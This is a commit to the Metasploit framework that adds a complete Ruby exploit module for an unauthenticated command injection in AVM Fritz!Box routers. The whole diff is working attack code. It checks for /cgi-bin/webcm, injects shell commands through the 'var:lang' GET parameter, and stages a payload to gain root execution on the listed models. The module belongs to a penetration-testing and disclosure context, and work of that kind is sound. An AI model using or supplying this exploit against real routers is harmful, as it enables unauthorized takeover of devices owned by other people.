Land rapid7#3193, @m-1-k-3's exploit for the Fritzbox RCE vuln

Author: jvazquez-r7

modules/exploits/linux/http/fritzbox_echo_exec.rb

@@ -0,0 +1,102 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::CmdStagerEcho
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'        => 'Fritz!Box Webcm Unauthenticated Command Injection',
+      'Description' => %q{
+          Different Fritz!Box devices are vulnerable to an unauthenticated OS command injection.
+        This module was tested on a Fritz!Box 7270 from the LAN side. The vendor reported the
+        following devices vulnerable: 7570, 7490, 7390, 7360, 7340, 7330, 7272, 7270,
+        7170 Annex A A/CH, 7170 Annex B English, 7170 Annex A English, 7140, 7113, 6840 LTE,
+        6810 LTE, 6360 Cable, 6320 Cable, 5124, 5113, 3390, 3370, 3272, 3270
+      },
+      'Author'      =>
+        [
+          'unknown', # Vulnerability discovery
+          'Fabian Braeunlein <[email protected]>', #Metasploit PoC with wget method
+          'Michael Messner <[email protected]>' # Metasploit module
+        ],
+      'License'     => MSF_LICENSE,
+      'References'  =>
+        [
+          [ 'OSVDB', '103289' ],
+          [ 'BID', '65520' ],
+          [ 'URL', 'http://www.kapple.de/?p=75' ],                       #vulnerability details with PoC
+          [ 'URL', 'https://www.speckmarschall.de/hoere.htm' ],          #probably the first published details (now censored)
+          [ 'URL', 'http://pastebin.com/GnMKGmZ2' ],                     #published details uncensored from speckmarschall
+          [ 'URL', 'http://www.avm.de/en/Sicherheit/update_list.html' ], #vendor site with a list of vulnerable devices
+          [ 'URL', 'http://breaking.systems/blog/2014/04/avm-fritzbox-root-rce-from-patch-to-metasploit-module-ii' ] #wirteup with PoC
+        ],
+      'DisclosureDate' => 'Feb 11 2014',
+      'Privileged'     => true,
+      'Platform'       => 'linux',
+      'Arch'           => ARCH_MIPSLE,
+      'Payload'        =>
+        {
+          'DisableNops' => true
+        },
+      'Targets' =>
+        [
+          [ 'Automatic Targeting', { } ],
+        ],
+      'DefaultTarget'  => 0
+      ))
+  end
+
+  def check
+    begin
+      res = send_request_cgi({
+        'uri'    => '/cgi-bin/webcm',
+        'method'  => 'GET'
+      })
+
+      if res && [200, 301, 302].include?(res.code)
+        return Exploit::CheckCode::Detected
+      end
+    rescue ::Rex::ConnectionError
+      return Exploit::CheckCode::Unknown
+    end
+
+    Exploit::CheckCode::Unknown
+  end
+
+  def execute_command(cmd, opts)
+    begin
+      res = send_request_cgi({
+        'uri'    => '/cgi-bin/webcm',
+        'method' => 'GET',
+        'vars_get' => {
+          "var:lang" => "&#{cmd}",
+        }
+      })
+      return res
+    rescue ::Rex::ConnectionError
+      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
+    end
+  end
+
+  def exploit
+    print_status("#{peer} - Trying to access the vulnerable URL...")
+
+    unless check == Exploit::CheckCode::Detected
+      fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
+    end
+
+    print_status("#{peer} - Exploiting...")
+
+    execute_cmdstager(
+      :linemax => 90
+    )
+  end
+end